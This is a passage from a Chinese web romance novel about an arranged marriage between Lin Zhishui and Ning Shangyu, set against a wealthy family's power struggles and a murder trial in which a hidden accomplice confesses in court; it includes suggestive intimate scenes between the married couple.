林稚水耐心听完整个过程,指尖微颤收拢到了手心。 要自由。 裴观若用自由二字很真诚的打动了她,只是要自由,如今裴观若恐怕是觉得死亡,也算是另一种解脱的自由。 对方顿了顿,看向不远处气场锋利到极其不好惹的宁濯羽,又压低音量道:“后来宁家……也来了人。” 宁家? 林稚水淡淡思绪中的表情略一凝滞,继而,重新抬起眼眸看过来。 对方说道:“是宁惟羽,不过他没殴打裴观若,还给她伤口上了药,亲自交代这里的人不许再动她一根汗毛,如果裴以稀又来,也得拦着。” 这里的管理人员哪有胆量得罪的起这两家,宁惟羽走之前,是直接留了保镖下来的,也算是护了裴观若,不让她受到皮肉之苦。 林稚水唇抿了起来,什么话都没说,心里默默地想。 宁惟羽对这段露水情的态度,早就超出了正常反应,他在医院被迷昏一次,应该是意识到裴观若利用了他,为了酝酿着一场更大的计划,却还是送上门啊。 “这恋爱脑会遗传啊!” 嗯? 她脑海里的话怎么被说出来了。 林稚水反应慢了半拍,才眼眸迷惑地发现是宁濯羽姿态懒洋洋的步近了,棱角艳丽的五官呈现出似笑非笑神色:“我在老宅偷听到了他身世,他那位高贵出生的母亲是老爷子心头宝,恋爱脑犯了跟人私奔,他很明显是遗传了这个病,治不了。” 林稚水:“……” 宁濯羽朝她挑眉:“走吧,宁惟羽还在深城,裴观若没被处决前,有他在,出不了什么意外。” 林稚水点点头,表示认可这句话,她沿着巨大玻璃墙的前方出口走去,等离了这个是非之地,她却没有打算跟宁濯羽走的意思。 深城跟港区的地界极近,还犯不着动用什么私人飞机。 林稚水选择了林家司机的车,隔着车窗对宁濯羽微笑道:“你回你家,我回我家,小濯司机,不想丧失尊严当看门狮就别跟来。” 她不会跟宁濯羽回泗城地界的。 这次亲眼看到裴观若暂时没有性命之忧后,林稚水就选择了非常乖的待在林家老宅里,她甚至开始不接宁商羽的来电。 也不是全部不接。 看情况,正常睡眠作息期间,是一概当没看见的,事后也不回。 如果是正常在吃饭或是看书,林稚水也会接听,她把正在通话的手机搁在手扶上后,身子软软的窝在婚前最喜欢的一张白丝绒沙发里。 午后的日光柔和,要过很久才能把犹如洁白无瑕的瓷器肌肤都洒得透着精致的淡粉色。 林稚水没避光,耳边一片寂静。 她见宁商羽许久不出声,也耐得住性子,跟着不出声。 直到宁商羽先说话:“晚上八点钟,我会顺道来林家接你回家。” 他虽然沉静的语调什么起伏都没有,林稚水还是隔空感知到了那股不容许人拒绝的强势意味,她过几秒,很轻的嗯了声。 什么顺道来,洛杉矶飞港区,又飞回泗城地界都绕成什么样了。 哪里顺带了。 林稚水从这通电话结束后就一直在等待,她心知躲在林家也不可能躲一辈子,毕竟名正言顺的婚姻实质关系摆在这儿。 窗外天色逐渐暗淡下来,林稚水吃完晚餐就先回楼上卧室,泡完澡又换睡衣,还冒着热乎气就钻进被窝里闭上眼睛。 管宁商羽几点到。 林稚水不想重蹈覆辙领证那次,眼巴巴端坐在大门口等他来。 脑子琢磨了太多,负荷过重,不知不觉她什么时候睡着的都不知道。 等再次有意识时,是感到被什么猛地打开了。 这副陷在被褥里的身体一下子颤得厉害,也滚烫着,睁开眼时,借着窗外洒进来的月光,她看到是宁商羽笼罩在上方,面无表情地解开衬衫纽扣和领带。 他攻击性非常的强,甚至都没把这身剪裁精致的黑色西装三件套卸下,看她惊颤着醒来,薄唇扯了扯,还问一句仿佛无关痛痒的话:“怎么醒了?” 怎么醒了? 他对她做这种事,林稚水双唇没忍住叫了出来,一时也忘记是在林家,可能会被楼下听到。 林稚水那含水的声音越叫,宁商羽高大身躯那股压迫感袭来的就越猛烈,紧接着,她的脑袋随着他突如其来的一个最深,重重磕到了床头。 磕到第一下时,林稚水是懵了几秒的,要第二下时,宁商羽先眼疾手快的护住了,毫无悬念地磕到了他的手掌心里。 他这样,让林稚水心脏跟着酸涩得产生了想掉眼泪的情绪,又不想真哭出来。 这样会显得她太软弱了,于是就去咬他,在那线条完美的胸肌上咬出极深的齿印来,舌尖尝到了一丝浓郁血腥味,才稍微冷静了点儿。 宁商羽始终没有停止,也没有阻止她像个愤怒小羊羔一样的挑衅行为。 彼此就这么交流着,直到卧室的房门被毫无预兆敲响了两下。 不知道是谁。 但是没有说话声传来,显然是她的“仙女教母”。 可能是被她刚开始的叫声吸引上来的……林稚水心脏猛地一阵缩紧,偏偏这时候,宁商羽俯低耳旁,带着性感的喘意告诉她:“我没锁门。” 第69章 没锁门。 林稚水被这一句话给震得魂飞魄散,手心压在了他起伏着的滚烫胸膛前,推了推,却未动分毫,反而自己应激到了血都霎那涌上了瓷白的脸蛋。 她抿紧唇不敢出声,怕又泄露了一丝半点儿的细碎声音。 但是宁商羽就没这方面顾及似的,手掌轻而易举制住她想闪躲的动作,继续低首,用嘴唇将她耳垂磨得水红:“你想我吗?” 林稚水整颗心脏还牵挂在门外,生怕那扇门被直直推开,全身都不自在极了,心也一直紧缩不已,哪里顾得上他的话。 “宁商羽……”她像温泉洗过的眼底淌过谎意,想求他,停下来,又不敢大声的说话,昏暗的室内太安静了,间接惹得脑海神经上的刺激更双倍。 “宁商羽什么?”宁商羽让自身的血脉温度在她这儿横冲直撞,也逐渐她鼻尖和唇间,一下一下地触碰着,“只是想叫我么?一点都不想?” 他要逼她点头,说出那句想他才肯罢休。 时间哪怕只流逝了短暂的几秒,却漫长的跟一个世纪似的,林稚水忍不住绷得太紧,眼神的求饶是没用的,要说出来才有用。 她哑声:“想了!” 却听见宁商羽伴着深重的吻问:“想什么?” 林稚水的心脏被看不见的力量狂烈横冲得近乎要跳出胸口,越来越快,终于她手心沿着宁商羽胸膛滑到肩膀,抱住了他,抱得很紧,“想你,我很想你,林稚水很想你。” 一鼓作气的把爱意都坦诚完,那蓄满了眼泪的琉璃眼就开始哭泣。 宁商羽把她流出的泪水都吻走了,听着那委屈巴巴的小声哭腔,开始低声道:“锁了,不会进来。” 一听这话,林稚水懵懵的,怔了两秒,才意识到被他给骗了。 然而,宁商羽并没有给她反应时间,伸出手臂把快沿着床沿垂坠到地板上的被子扯过来,罩住了彼此,沉沉的黑暗也犹如巨兽一样侵略性极强的铺天盖地了下来。 一个小时后。 林稚水就跟变成受伤的小动物似的,里里外外渗透着那股熟悉又浓郁的冷杉味道,手脚都蜷缩在了床角落里。 宁商羽逞凶完后,就恢复了极度理性状态,先是下床,漫不经心地捡起凌乱的衣物和被震到地上的真丝枕头。 紧接着,他俯身,静静凝视了几秒林稚水渗着汗珠的后背,正要抱她去浴室清洗,倏地,被一道手机的来电提示音打断了动作。 宁商羽抬手先抚摩了下她敏感情绪,才去接听。 伴随着那股威慑的气息消失,林稚水感知到他高大凶悍的身形走到窗边,下一秒,她从潮了大块深色痕迹的床单爬起来,光着脚,朝房门跑去。 那只柔软的手攥着门把手,停滞了片刻,犹豫之下还是用了很大力气。 没推开,紧闭的房门纹丝不动,这意味着,宁商羽进来前的确是顺手锁了门的。 亲自证实到这点后,林稚水被壁灯暖黄光芒照映着的整张脸上,表情明显松了口气。 而宁商羽挂完电话,非常神态自若的转过身来,见她跑到房门前去了,只是略微挑眉,却对狠狠欺负她的行为是半点歉意都无。 林稚水的恼怒瞬间转化成了愤怒,在心里下了决定,再也不要理他了。 虽然打定主意要跟宁商羽划分界限,今晚却只能跟他走,林家她是无论如何也住不下去了,甚至等穿戴整齐下楼时,睫毛都一直低低垂着,不敢看阿泱她们。 所幸谁都没有问她为什么尖叫。 氛围就这么暗流涌动的寂静到了泗城地界,一直蔓延到那片影影绰绰的落羽杉住处,偌大华美的客厅亮着灯,在她踏足的这刻起,添上了一丝鲜活的人气。 林稚水心平气和地搭理了任何人,无论是保镖司机还是管家,都语气很正常,唯独当视线触及到宁商羽时,她就抿起唇,不乐意吭声了。 飞机上已经补充过睡眠,林稚水等换了一身舒适点儿的冬季睡袍就下楼,懒洋洋地窝在极宽敞的蓬松沙发上,衣领微敞,精巧的锁骨处还遗留着他留下的不少吻痕。 林稚水捧着手机刷新闻,她最近百无聊赖的下载了一个热搜软件,上面天天都上演着不少堪比狗血连续剧的劲爆娱乐。 很适合拿来消遣时间用的,这会儿,恰好又有一个商业联姻的明星夫妻因婚变被狗仔曝光。 林稚水手指头点进去,“联姻得来的感情就是不稳固”、 “男方没爱过”和“已在进行离婚程序。”轮番词条浮现在光滑如镜的屏幕上,看得眼花缭乱。 再看下去,林稚水觉得自己娇贵脆弱的小心脏都得被吓出毛病来。 她正要退出,忽见宁商羽缓缓地踱步了过来,于是指尖继续滑动页面,假装很忙的样子。 落地窗外微弱的晨曦不知不觉从树荫雪雾穿透而来,洒在宁商羽的胸膛前,他刚洗过澡,披着浴袍,故意不系衣带。 林稚水睫毛无声地垂着,克制住视线没去端详他充满雄性荷尔蒙的高大身躯。 宁商羽仿若无事发生的坐在了她身旁,手掌覆在她的腰臀之间,低问:“看什么?” “哦,看新闻上说联姻夫妻不该有那么频繁的亲密行为。”林稚水字字清晰从唇齿间磨出来,指尖一划,又刷了条热评出来。 宁商羽又说:“是么?” 林稚水没再搭理他,继续刷热评。 过会儿,宁商羽的手掌隔着软绵的睡袍料子,近乎是把她抚摸了个遍,又用高挺的鼻梁很是缓慢地嗅着她发丝的香气:“真不理我?” 林稚水近日偶尔也会刷到宁商羽赴美谈判的国际新闻报道。 在媒体镜头下,他一身奢贵材质的黑西装,衣领处别了枚刻着家族徽名的狮子黄钻胸针,被众西装革履的英俊男士们中间簇拥下,神态有股上位者的高傲。 跟现在这样判若两人,浴袍不穿好,还压迫感十足地笼罩着她,想要讨个话。 都商业联姻了,林稚水跟他能有什么正儿八经的甜蜜夫妻悄悄话说,微微歪着头,过于雪白的肤色一旦褪去了红晕,让她面无表情的时候显得疏离感起来。 这没用,压根震慑不了分毫宁商羽,下一秒,他鼻梁在她脖颈轻陷,低声道:“裴观若的案子会在年底结束。” 林稚水下意识把唇张开,又闭上,忍着不往下问缘由。 她对三岁时在宁家的那段记忆苏醒后,也更共情了裴观若的艰难求生处境,裴以稀自幼就敢饲养烈性恶犬,在外面就敢不把同父异母的亲姐妹性命放在眼里。 何况在裴家,裴观若遭遇的苦难和不公恐怕只会比想象中更多。 林稚水无端替裴观若别无选择一步步走向死亡的命运感到难过,睫毛颤了颤,将这股情绪轻压了下来。 宁商羽用亲吻将她被日光照得透着粉的耳尖融化,嗓音再度响起:“会有回旋的余地。” 林稚水倏然睁大眼,这下盯着他这张俊美又五官锋利的面容不放了。 宁商羽嘴角扬起很淡的弧度,又问:“准备好理我了么?” 林稚水很短暂的沉默起来,还是不理,竟有回旋的余地,就证明宁氏家族的某一位成员是准备护住裴观若这条命的。 那她何必急于一时知道真相,等案件开庭,就真相大白了。 随后,林稚水微曲的手指温温柔柔的把他敞开的浴袍衣领拢上,开口时,拉长着尾音说:“我有不理你吗?没有吧,宁商羽……是你位高权重太敏感想太多了。” 她耐着性子不问,佯装出一副有点困倦的样子,稍微调整了下窝在沙发上的安静躺姿,就懒得继续搭理人了。 接下来很长一段时间,林稚水都是这种秉持着联姻夫妻的各取所需状态。 宁商羽要她履行妻子的义务,也不会强烈的拒绝。 林稚水是从生理性上就喜欢跟宁商羽亲近的,这种吸引力要去抵抗,就跟违背天性一样难受。 但是她不像以前有好多话攒着想和他分享了。 毕竟联姻关系,都是互相利用算计的,话那么密干嘛呢? 转眼到了月底,期间宁商羽在这场权力游戏中大获全胜,收购舟隆港口的项目已经开始走签约的保密流程。 他行程变得更加忙碌起来,而除了偶尔赴美出差之外,基本每天都会回家。 因为落雪季节,林稚水就像是个软绵绵的小动物一样不爱到外面探索世界了,她开始在家窝着过冬。 能让她出门的,只有去那座珊瑚研究所跟专家们一起研讨拯救宜林岛海域生态的计划。 多数时候,林稚水就裹着她最爱的洁白羊毛毯子,窝在书房忙。 她的书桌上出现各种珊瑚的可爱图片,以及珍贵的书籍资料,往往林稚水一旦沉迷在自己的小世界里,就更不爱搭理人。 宁商羽备受冷待。 直到某个雪夜,宁商羽提早结束跟收购港口律师精英团的线上会议,继而,把窝在办公椅上的林稚水打横抱起,去房间,想做了。 林稚水看他晚餐时才注射的抑制剂,也不懂哪儿招他了,连抑制剂都压制不住高大身躯的旺盛精力。 卧室外半掩的窗帘隐隐约约露着雪光,室内,是宁商羽熄灭了壁灯,把她抱到床垫上,俯首,很热衷于在她的身上留下鲜目的痕迹,尤其是她仰起下巴时…… 宁商羽会在那柔软雪白的喉骨正中央,先是吻会儿,又粗暴地咬出一个齿痕来。 这个位置,是很难被衣领遮盖住,任由谁一眼都能看到。 林稚水也会当场就以牙还牙回来,待微甜的血腥味在舌尖泛开,耳边,听到宁商羽低低的笑,透着说不清道不明的意味。 坏得很。 这种互咬行为,反倒是像情到浓处时,跟给彼此种个占有欲的烙印没什么区别。 林稚水被气到,正抬起泛红膝盖去踹他,手机响了。 宁商羽手臂肌肉蓬勃有力地搂紧她,没让人跑,又一边拿过来接听。 是老宅的来电: 裴观若怀孕了。 裴观若怀了宁惟羽的孩子,单凭这一点,就足以让老宅那边关注起她的生死,宁徽诏要不是卧病在床,甚至都会被惊动到亲自前往深城。 而众所周知,老爷子向来是非常注重家族的每一个流淌着宁氏血脉的子孙。 宁惟羽再度被赋予了权力。 只因宁徽诏放话,要保下裴观若肚子里这个无辜的小生命。 宁商羽虽手握生杀予夺的权柄,却不至于在这点上起内斗纷争,他默许,宁惟羽动用宁氏家族的权势。 裴观若的判决被暂缓,又因身体极度虚弱,会有流产风险为理由被转移出了监狱。 她居住在宁惟羽的保护范围之内,顶级营养师保镖医生各类人士都二十四小时只为她一人服务。 与此同时,宁氏家族的御用律师团也上场了。 这场官司。 裴以稀是冲着死刑来的,怀着恨意要裴观若活不过这个冬季。 但是宁惟羽的孩子护住了裴观若,这个结果,必然是让裴家震怒,甚至多次质疑起了裴观若是假孕,想借此逃脱一死。 从始至终,林稚水都在幕后平平静静的旁观这场案子,她想起宁商羽说过,裴观若的事还有回旋的余地,但琢磨几许,又觉得应当不是只查出怀孕。 那还有什么回旋余地? 好几次,林稚水在夜晚跟他睡时,都差点儿没忍住问出来,音节到舌尖又被硬生生给憋了回去。 不问! 林稚水很清楚宁商羽就等着她开口,好像只要问了,彼此间就默契能回到以前一样,不谈爱情,只谈欲望。 凭什么事事都得顺从他的想法来? 林稚水忍着也辛苦,连眼尾眉梢都沁着黏湿的汗珠,等做完,就迫不及待地推开压住自己的胸膛。 没过来会儿,宁商羽肌肉线条紧致流畅的胸膛又重新严丝合缝地贴上来,像是抱着软成一滩水的漂亮小玩偶似的,抱着她:“爽完就不理人,小脾气是越来越冲了?” 林稚水紧闭着嘴巴,懒得跟他说话。 这一个月时间里,宁商羽都极具耐心地陪她折腾,慷慨大方的给足了在床上的极度愉快体验感和时间上的陪伴。 他沉吟片刻,还是不懂林稚水是怎么做到一边享受,一边完了又继续闹脾气。 “一个月了善善。”宁商羽把她翻了个身,低首,凑到她胸口,用牙齿刺入那精致锁骨下的一小块雪白的肌肤。 几乎是瞬间林稚水轻颤了一下,无法佯装哑巴,“一个月很长时间吗?你好奇怪啊,我们这样白天各忙各的,晚上我又不拒绝你的邀约,妻子的义务我哪儿没认认真真履行的让你满意?你要这样咬我?” 她能言善辩至极,愿意开口说话了,都没给宁商羽回答的机会,又说:“我都这么委曲求全了还想怎么样?实在不满意,你把我送回林家好了,我也不是非得赖在……” 尾音还没溢出唇齿,就被宁商羽给强势堵了回去。 他吻得极深,等她挣扎不开,快缺氧到脑子一阵阵发晕时,又被掐住了下巴尖,警告的意味很明显:“想回港区,被我做晕了开始痴人说梦么?” 顷刻间,两道指痕就出现在了林稚水下巴两侧白嫩的皮肤上,看起来惨兮兮的,但不耽误她发起脾气:“不让我回家,你就忍着吧。” 林稚水把家划分的很清楚,港区才是她的真正地盘,泗城不是,这片在冬季依旧生机勃勃的落羽杉住处也不是,宁氏老宅更不是。 晚上发完脾气,白天的时候宁商羽下了床就无事发生,她也效仿,端着一副无辜脸,没被逼急眼的时候,都不爱逞什么口舌之快。 毕竟在人家的地盘上,太嚣张了容易挨惩罚。 这点道理。 林稚水是懂的,而私底下,也不会太安分守己。 宁商羽准时落日回家,她就准时落日出门去珊瑚研究所,把时间都完美的错开了……哪怕有大嘴巴精会将她日常事无巨细的汇报给他。 林稚水也很善解人意的默许这种不道德的行为,选择单方面原谅了看门狮宁濯羽。 这种联姻关系的夫妻相处模式维持到了裴观若开庭。 林稚水想去旁听,她是诚恳的邀请了宁濯羽陪同去深城一趟,隔日清晨,窗外的雪开始飘落时,她就从热烘烘被窝里起来了,转而去浴室洗漱换衣服。 七点整。 是跟宁濯羽约好的时间。 林稚水都不准备在这里吃早餐,等下楼后,看到宁商羽正坐在餐桌前喝咖啡,简单着了一身纯黑的高级定制西装,金色纽扣在光线下闪烁着,犹如永不熄灭的火焰。 她不打招呼就往外走,还未到门口,口袋的手机乍然响了。 拿出来看是宁濯羽发来消息:【sorry,我今早起床摔了一跤腿断了,不能陪你去深城,让我尊敬的兄长大人保驾护航吧。】 林稚水惊讶之余,眉心轻轻皱起,根本不信这套说辞:【哪条腿断了?】 宁濯羽:【两条。】 林稚水:【是么,那你最好别一天之内又给我表演个医学奇迹,我记住了,你现在两条腿都无法正常行走,微笑。】 宁濯羽:【微笑】 林稚水指尖握紧了手机,在原地站了好半天,直到宁商羽搁下咖啡杯,缓步走到了身前来。 他由上而下地凝视着她这双清透见底的琉璃眼,选择性忽略了那直白溢出的恼怒情绪,去亲了亲额心:“我推了一天的工作行程,陪你去法庭上旁听,就不要劳驾伤残人士了,嗯?” 林稚水被他滚烫到灼人的气息惹得睫毛下意识闭了闭,还没躲开,宁商羽又亲她眼尾红痣。 亲完,便低声哄着她帮忙打个领带结。 路途遥远,时间又不是很宽裕,林稚水一心念着要去深城,权衡之下就没有跟他在打领带的事上倔犟,只是生得精致的脸蛋明晃晃写着不情愿几个字。 她仰头,注视着近在咫尺距离的宁商羽,手指尖触及到了衣领,先往外翻,逐渐修长脖颈那些纵横交错的指甲痕迹也暴露无遗。 都是在床上她被他散发的荷尔蒙迷惑到了……情绪濒临崩溃时无意识抓出来的。 宁商羽配合着俯身些,也免除去她一直高高抬起手臂会感到酸的动作。 林稚水指尖被暗纹的领带颜色衬得雪白,透着她体温,继而,延伸到了他身上,彼此间的气氛逐渐酿出暧昧。 领带还没系好,宁商羽就已经将幽深的目光游移到她唇间。 下一秒。 他要林稚水主动地,给他个早安吻。 林稚水蹙起眉:“你好会得寸进尺。” 先是打领带要求,又要早安吻,等后面是不是还有更过分的? 宁商羽用绝对资本的强盗逻辑跟她说:“一个早安吻换陪你去深城旁听,不过分。” 林稚水指尖蓦地非常粗暴的把领带一勒,犹如谋杀亲夫般,声音很轻:“宁总,劳烦你搞清楚,是你免费送上门要陪,我有求你么?” 根本没有。 他有本事就别让宁濯羽装残疾人,有本事就继续当权力至上的野心家,继续拒绝被小情小爱所牵绊。 林稚水觉得宁商羽对她会这么有占有欲,可能是随着漫长时间的推移下他这颗强大心脏已经自动形成了对她的保护机制。 这种保护机制,让宁商羽就像是站在食物链最顶端的猛兽狮子一样,想把她这个小人类独占圈在自己的领地里精心饲养起来。 他甚至不允许,她面对弱肉强食的丛林世界有任何危险和意外。 逐渐的,林稚水觉得非常不公平的是,宁商羽霸道占据了她的身体,又开始贪婪地占据她的喜怒哀乐…… 但是他自己却不愿意给予出来半点儿,却要她把心口烧到沸腾的情感都给他。 林稚水拒绝拿最纯粹的爱情跟宁商羽利益交换这种保护,吻是没有的,他要是不跟着去深城正合她意。 等旁听完,她就顺道回隔壁地界的港区了。 然而,现实不如人愿,宁商羽没索要到吻,还被她这话刺激得俊美的面容神色也敛去情绪,却亲自护送她去了。 在飞机上,两人就陷入了一种诡异又平静的冷战氛围里。 奚宴人心惶惶啊。 生怕把哪个主儿的火先给点燃了,说话都小心翼翼的,陪着笑脸。 林稚水脸蛋淡淡的,被正在用笔记本电脑回复邮件的宁商羽一言不发的拽到腿上坐,全程无话,偶尔眼神短暂地触碰了一秒,又移开。 没见过这种的。 不爽得要死,火气憋着这张骄矜的面目下,还要抱着人。 林稚水找奚宴要果汁喝,音色柔柔,提醒多放点儿蜂蜜,要偏甜口。 继而,她卷翘的睫毛下垂,不可避免地就着这个亲密无间坐姿,看到了宁商羽的邮件内容,视线扫到他正在漫不经心回复一个叫【裴嘉因】名字的人。 裴姓? 林稚水脑海中迅速转了圈儿,她先前和裴胤对簿公堂时,早就把裴家调查了个顶朝天,没印象目前的裴家有这么一号人物。 还未琢磨出来,奚宴的果汁就端上来了。 “加了三勺蜂蜜。” 林稚水的思绪被蓦然打断,微微抬睫,接过玻璃杯子时对他一笑。 奚宴很想秒退。 下一秒,林稚水就当着宁商羽的面不加掩饰的问他:“裴嘉因是裴胤私生子么?” 奚宴难得迟疑了几秒,眨眼不是,点头也不是。 他随后反应灵敏道:“宁总知道。” 这话林稚水自动阅读理解为是私生子的意思,随即,她终于后知后觉的回味过来,为什么陈宝翠跳楼自杀后,宁商羽原话会说——【会有人给陈宝翠的后事处理妥当。】 她一直先入为主是宁濯羽去处理的。 现在重新推翻了设想。 宁商羽是要在太平洋航运图上打造出一条属于宁氏家族商业的生态链,自然就绕不过深城百年航运基业的裴家。 他要吞裴家的港口,除了强势激进的收购手段外,最快捷的一种方式就是换个人坐上裴氏一家之主的位子。 这个位子,裴以稀能坐。 裴家众多私生子女的任何一个人,也能坐。 如果裴观若没有为母弑父这环节,裴胤也迟早会被宁商羽一手扶持的裴嘉因赶下位,从而,裴氏成为了依附宁家生存之一的家族。 这也就变相意味着,裴观若从始至终无论手握多少筹码,都不可能打动宁商羽。 他自有人选。 裴家能易主,却不能毁灭。 林稚水眼眸豁然开朗了一般,微微亮了亮,没忍住去看宁商羽,把心中猜想的说出来:“裴嘉因暗中潜伏了那么久,手头上一定有裴观若脱罪的证据,对吗?” 宁商羽很平淡的看了她眼。 “她肚子里是宁家的血脉,老爷子要留,宁惟羽要护,他们都得求你。”林稚水突然意识到宁商羽这盘棋下的太大,把所有人都算计在了里面,都是棋子。 他高高在上默许一切发生,甚至现在都不告诉宁惟羽身世的真相。 恐怕就是要宁徽诏做出选择: 是为了维护祖孙多年深厚的养育感情,永远把这个秘密埋藏进棺材。还是为了保血脉,亲口跟宁惟羽坦白当年的一切。 林稚水有点恍神起来,时间在彼此间慢得离奇,直直望着他这张面容的神色里全是漫不经心的漠然。 一时间,感觉想要得到他的心,难上加难。 下秒,宁商羽亲了亲她无辜又怜悯的眼眸:“善善,别用这种眼神看我。” 第70章 裴嘉因能现身在法院。 证明宁徽诏终究是选择了保孩子,飞机落地深城后,林稚水见到了那位听命于宁商羽的裴家族谱中不存在的私生子。 裴嘉因亲自来接机,他的相貌完美继承了裴家传统,俊雅得像是峭壁悬崖边上的一株君子兰,眉眼偏偏又生得极招人。 林稚水多看了两眼。 等一行人都到休闲室时,宁商羽把她安置在了四方落地玻璃的小茶室内,他就在隔壁跟人仪事。 过片刻,林稚水正坐在沙发慢悠悠的喝茶,裴嘉因主动步近,递来了一份开庭要献上的证据资料。 “宁太太。” 林稚水好奇很久了,哪怕逐渐琢磨到了点儿端倪,却百思不得其解裴嘉因是收集到了什么关键线索能保下裴观若。 直到这份资料打开。 她卷翘的睫毛始终垂着逐字看完,讶然了会儿,“裴观若自首时不是说四十二刀吗?你这份尸检报告怎么会多出一道致命伤?” 裴嘉因言语温和:“裴胤身体的伤口确实是四十二道,这一刀是被司法机构尸检第三次过后,才发现秘密隐藏在喉管处,稍有偏移的覆盖在了裴观若留下的伤口上。” 之所以能叫致命伤。 是因裴观若离开案发第一现场后,其实裴胤没死,还尚有一口气苟延残喘着,而且她刚下楼,六十秒的时间差,裴家就有人发现了裴胤倒在了书房血泊里。 倘若没有人暗中补刀,而是紧急呼叫家庭医生的话,裴胤未必真会死。 毕竟当初陈宝翠割喉自杀,也能被强行抢救回来。 这方面,裴家很有经验。 “凶手是谁?”林稚水指尖压着这份证据,继而,看向了裴嘉因,而裴嘉因偏巧也静静的注视着她这双无杂质的琉璃眼眸,说,“谁补的刀,尚未查明,这个只有真正凶手自愿投案才知道真相。” “要愿意投案就不会照着裴观若留下的伤口补了。” 话音落地,林稚水朝沙发靠,雪白的裙摆扫过高跟鞋尖,微扬起脸,对裴嘉因的证据提出质疑,语气很轻:“我要是裴家的律师,就会当庭质疑这刀是裴观若自己补的,为了故意在自首后提供假的供词来洗脱杀父罪名。” 如果宁氏家族不下场,这份新的尸检证据就会被裴以稀给抹去。 而宁氏家族下场了,找不出真凶,裴观若还是杀害裴胤的第一嫌疑人,难逃罪责。 裴嘉因依然能温和姿态道:“宁太太,裴观若有罪,却不至死,她的死刑改判无期徒刑,这是宁家的态度。” 宁徽诏要救的是她腹中那个无辜的孩子。 这份证据,虽然不足以给她彻底洗清罪名,却能让她犹如涸辙之鲋的危难处境里获得一丝机会。 只要是无期徒刑,一切皆有可能。 毕竟这个案子疑点重重,就看律师怎么去收集证据辩护了。 林稚水很慢笑了下,用极其冷淡的一张脸问他:“裴嘉因……嘉树因枝条,琢玉良可宝,我想给你用这句诗词取这个名字的人,一定很珍视你。” 裴嘉因虽不知她为何突然把话题移到这上面,却坦荡道:“是我母亲取的,这也是我年幼时脱离裴家后,唯一仅剩的东西。” 林稚水问:“你为什么要回来?” “因为恨。” 裴嘉因斯斯文文地说:“裴家出去的每一个私生子女没有不恨的,能逃离付出的代价太大,我母亲罗曼,跟陈宝翠一样,都是被裴胤长期献祭给达官显贵取乐的可怜女人。” 只是罗曼觉醒的早,心知继续留在这个荣华富贵打造的笼里,会先被卖掉皮囊再卖掉灵魂,所以在他很小的时候,就豁出命打定主意要带他一起走。 裴嘉因话顿几秒,没有回避林稚水这双平静又天生怜悯的眼睛,“她走之前,正得宠,名下分到了裴家一些产业,后来为了带我走,先是把这笔财富如数退回,还亲自毁容又剁了一只手。” 一个毁容又残疾的疯癫女人,对裴胤就彻底没有利用价值了。 裴嘉因又道:“我是母亲苦难的来源,她带着我身无分文离开,没了赖以生存的美貌,只能落魄到流落街头乞讨路人给予的一口饭吃,后来到港区,又因她是残疾人,我们意外被一家慈善机构赞助了。” 林稚水声音轻低,“慈善机构?” “林氏慈善机构。”裴嘉因极好看的眉眼之间含笑,甘愿把姿态处于下风:“我没说错的话,你母亲盛明璎女士,每一年三月二十一号都会以你名义往一家慈善机构捐款,来救助社会上的孤苦无依妇女孩童。” 盛明璎是在为林稚水积德行善,她还未出生前就被医学界地位权威的医生断定难以存活,后来多活一年,林家就为女儿多做一次善事。 整整到了她十八岁……而如今身为私募基金创始人的裴嘉因也受了这份恩泽十五年,至今罗曼依旧是居住在那家慈善机构的福利院里做义工。 林稚水听完,下意识地看向一玻璃墙之隔的宁商羽,他此刻西装挺拔,被金色的光拂过,身影就像是一棵高大的落羽杉,略停两秒,又转眸问裴嘉因:“他知道吗?” “知道。”裴嘉因先前给宁商羽递投名状,主动把裴家百年基业献上,连带他的绝对忠诚,“我如果有所隐瞒,想必宁总吩咐秘书背调时也能查的一清二楚。” 林稚水重新打量了几许裴嘉因,裴胤其实也有独当一面的优秀子女,一个他,一个裴观若,如果拼尽全力为家族效力,裴家在深城地界还能持续强盛下去。 裴嘉因眉眼不如宁商羽那种摄人三魂七魄的锋利好看,却含着温润亮光时,尤其干净,继而,在她静到透着微妙的压迫感视线下,亲自为她凉掉的茶,重新换了一杯: “宁太太,我会永远忠诚于你和宁总。” 是四十三刀。 这个证据在开庭时公布于众后,四下一时鸦雀无声,唯有裴观若晃了晃身形,在怔愣之余,转头看向了代表裴家出席的一群人。 她没有提供假供词。 这一刀,怎么会无端多出来? “是我。” 倏地间,齐纯芝穿着一身丝绸质地的殷红旗袍站了出来,而位于旁边,裴文滨正惊讶裴家藏着哪个心狠的内鬼,猝不及防地,就看到自己母亲起身了。 短短时间,众人的视线全部都往这儿聚集,他心理压力极大的伸手去扯着齐纯芝衣角:“妈,你老糊涂了乱说什么,快坐下。” 齐纯芝没给他任何眼神,说话轻声慢调,无别的异样:“裴胤最致命割喉那刀,是我补的。” 她补的。 裴观若离开后,是她第一时间发现了书房的案发情况,进去后,目睹到裴胤正痉挛虚弱的倒在地板上,淋漓的鲜血就这么沿着他身下蜿蜒到她的脚尖,他瞪大一只惊怒交加的血丝眼球,拼命地想让她去叫人。 齐纯芝在门前僵站了十秒。 这整整十秒里,她闭上了眼冷静地做出了选择,又睁眼,抬手关上了书房的门。 …… 幕后真凶当庭投案,这是在座任何一位都始料未及。 哪怕旁观的林稚水也在琢磨到底是哪位补的刀,却没想到齐纯芝这么快就站出来了,为何之前不站? 这点,裴以稀直接质疑了出来:“你补的刀?齐纯芝,我父亲近两年最宠的就是你,连带你那个天资愚钝的蠢材儿子都给机会进公司锻炼,你有什么理由去补这刀?是不是宁惟羽私下给了你什么好处,让你替罪!” 众人的视线被这番言论游移,极隐晦地看向了宁惟羽。 他也一身西装搭配族徽胸针出席,摆明了是要护裴观若到底,正坐在跟宁商羽相隔一座位距离的地方,姿态气定神闲至极,毫不理会裴以稀的话。 他沉黑的眼眸只盯着面容肤色苍白病态的裴观若。 反倒被裴以稀当众羞辱是蠢材的裴文滨又惊又怒,脸涨得通红。 齐纯芝笑了:“裴以稀,我们在你眼里就是一群自甘低贱,专门给裴家干脏活的狗而已,这些年时不时被你随心所欲拿来撒气挨顿毒打赏块骨头吃,有大好机会杀你父亲,我为什么不杀?我儿子是蠢材,却不是你的奴仆。” 整个裴家,只要裴以稀发脾气,大家就必须条件反射低头认错。 没了裴胤…… 齐纯芝又笑了:“你不是问我为什么一开始不站出来认罪吗?因为我不是个好人,我当时就想有裴观若自首,这刀没有人知道的。” 为什么现在又站出来了呢。 